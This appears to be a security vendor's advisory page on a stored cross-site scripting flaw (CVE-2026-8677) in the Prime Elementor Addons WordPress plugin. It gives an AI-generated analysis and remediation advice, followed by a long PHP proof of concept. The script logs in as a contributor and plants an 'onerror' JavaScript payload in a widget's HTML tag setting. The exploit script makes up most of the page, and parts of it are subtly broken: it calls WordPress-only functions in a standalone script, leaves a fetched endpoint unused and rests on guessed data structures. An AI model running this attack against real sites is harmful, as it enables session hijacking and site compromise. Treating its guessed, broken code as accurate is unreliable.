Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 9, 2026

CVE-2026-8677: Prime Elementor Addons <= 1.3.3 Authenticated (Contributor+) Stored Cross-Site Scripting via Widget HTML Tag Settings PoC, Patch Analysis & Rule

CVE ID CVE-2026-8677
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.3
Patched Version
Disclosed June 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8677 (metadata-based): This vulnerability allows authenticated attackers with Contributor-level access to inject stored cross-site scripting payloads into pages via HTML tag settings in Prime Elementor Addons widgets. The stored XSS triggers when any user (including administrators) views the compromised page. CVSS 6.4 (Medium) reflects the low privileges required and the self-contained impact within the WordPress site’s context.

The root cause is insufficient input sanitization and output escaping in the HTML tag settings of Elementor widgets provided by the plugin. The description explicitly confirms that the plugin does not strip dangerous payloads when generating the HTML tag attribute element (e.g., allowing event handlers like onerror). Importantly, the payload bypasses Elementor’s wp_kses_post() filter by using no angle brackets: a tag name like ‘img src=x onerror=alert(document.domain)’ passes wp_kses_post() unchanged because that function only filters HTML tags and attributes within angle-bracket syntax. The plugin then renders this malicious value directly into the page output without additional escaping. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation). Since no code diff is available, the exact location of the missing escaping cannot be identified, but the pattern strongly points to an Elementor control callback or widget render method that outputs user-supplied tag names without esc_attr() or similar.

Exploitation requires a Contributor-level account. The attacker edits or creates a page/post using Elementor. Within a Prime Elementor Addon widget, the attacker modifies the HTML Tag setting (typically a dropdown or text input labeled “HTML Tag”) to a value such as ‘img src=x onerror=alert(document.domain)’. When the page is saved, the plugin stores this value in the post meta via Elementor’s data structure. Because the payload lacks angle brackets, it bypasses wp_kses_post() sanitization at save time. On page render, the plugin outputs the stored value directly into an HTML tag context without proper escaping, causing the browser to interpret the injected attribute as an event handler. No AJAX or direct endpoint is involved; the attack vector is the WordPress admin post editor with Elementor active.

Remediation requires sanitizing the HTML tag input with a whitelist of allowed values (e.g., ‘h1′,’h2′,’div’,’span’,’p’) or applying escape functions like esc_attr() when outputting the tag name. The patched version 1.3.4 likely implements one or both of these measures. Developers should review all Elementor widget render methods where user-supplied tag settings are output and ensure they contain no unescaped variables.

Impact is moderate but significant. An attacker with minimal privileges can execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, defacement, phishing, redirection to malicious sites, or theft of sensitive data displayed on the page (e.g., admin-only information if the page is accessible to admin users). The XSS is persistent, affecting every visitor until the page is cleaned.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8677 - Prime Elementor Addons <= 1.3.3 - Authenticated Stored XSS via Widget HTML Tag Settings

// This PoC exploits the vulnerability by using Elementor's REST API to update a published post's Elementor data.
// It modifies the 'html_tag' parameter of a Prime Elementor Addon widget to inject an XSS payload.
// Assumptions:
// - Target site has Elementor and Prime Elementor Addons installed (version <= 1.3.3)
// - Attacker has a valid WordPress user account with Contributor role (or higher)
// - The REST API endpoint /wp-json/elementor/v1/globals is unlocked or uses cookie/nonce authentication.
// - A post ID where the attacker can edit content (e.g., own post) is known or can be obtained.

$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user';      // CHANGE THIS
$password = 'contributor_pass';      // CHANGE THIS

// Step 1: Authenticate and get nonce/cookie
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);

// Extract nonce from admin page
$admin_url = $target_url . '/wp-admin/edit.php?post_type=page';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract a nonce (typically 'elementor-data-nonce' or similar)
preg_match('/"nonce":"([^"]+)"/', $admin_page, $matches);
if (!isset($matches[1])) {
    // Fallback: attempt to get a nonce from the REST API's base
    $nonce = '';
    echo "Warning: Could not extract nonce from admin page. Will try without nonce (may fail).n";
} else {
    $nonce = $matches[1];
}

// Step 2: Find a post that the user can edit (e.g., own draft)
// Use WordPress REST API to retrieve posts
$rest_posts_url = $target_url . '/wp-json/wp/v2/posts?status=draft&per_page=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_posts_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$posts_response = curl_exec($ch);
curl_close($ch);

$posts = json_decode($posts_response, true);
if (empty($posts) || isset($posts['code'])) {
    // If no post found, create a draft post
    $create_url = $target_url . '/wp-json/wp/v2/posts';
    $new_post = array(
        'title' => 'XSS Test - CVE-2026-8677',
        'content' => '<!-- wp:paragraph --><p>Test</p><!-- /wp:paragraph -->',
        'status' => 'draft'
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $create_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($new_post));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
    $create_response = curl_exec($ch);
    curl_close($ch);
    $created = json_decode($create_response, true);
    if (isset($created['id'])) {
        $post_id = $created['id'];
    } else {
        echo "Failed to create a draft post. Exiting.n";
        exit(1);
    }
} else {
    $post_id = $posts[0]['id'];
}

echo "Using post ID: $post_idn";

// Step 3: Update post meta with Elementor data containing XSS payload
// This simulates what Elementor does when saving widget data via the editor.
// The structure depends on how the plugin stores its settings. Here we assume
// the vulnerable setting is under a widget's 'html_tag' field in the 'settings' array.
// The exact key may vary; this PoC uses a common pattern.

// First, get the existing Elementor data to preserve structure
$elementor_data_url = $target_url . '/wp-json/elementor/v1/globals';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $elementor_data_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$globals_response = curl_exec($ch);
curl_close($ch);

// Build the malicious payload: a tag name that bypasses wp_kses_post
$xsstag = 'img src=x onerror=alert(document.domain)';

// Construct a minimal valid Elementor data entry for a single widget
// In practice, the attacker would need to know the exact Elementor data structure
// for the specific widget. This is a generic representation.
$elementor_data = array(
    array(
        'id' => 'widget_xss_001',
        'elType' => 'widget',
        'widgetType' => 'prime-heading', // example widget from the plugin
        'settings' => array(
            'html_tag' => $xsstag, // the vulnerable parameter
            'title' => 'Test'
        )
    )
);

// Update the post meta via Elementor's global endpoint (not standard, but common)
// The actual endpoint may be /wp-json/elementor/v1/globals or a custom endpoint.
// This PoC uses the wp/v2/posts endpoint to update meta directly.
$update_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
$update_data = array(
    'meta' => array(
        '_elementor_data' => wp_slash(wp_json_encode($elementor_data)),
        '_elementor_edit_mode' => 'builder'
    ),
    'content' => 'XSS test page - will be rebuilt by Elementor'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($update_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
$update_response = curl_exec($ch);
curl_close($ch);

$result = json_decode($update_response, true);
if (isset($result['id'])) {
    echo "Successfully saved malicious element data.n";
    echo "Visit: " . $target_url . '/?p=' . $post_id . " to trigger XSS.n";
} else {
    echo "Failed to update post. Response: " . print_r($result, true) . "n";
    echo "The plugin may store data differently. Manual testing via Elementor editor recommended.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School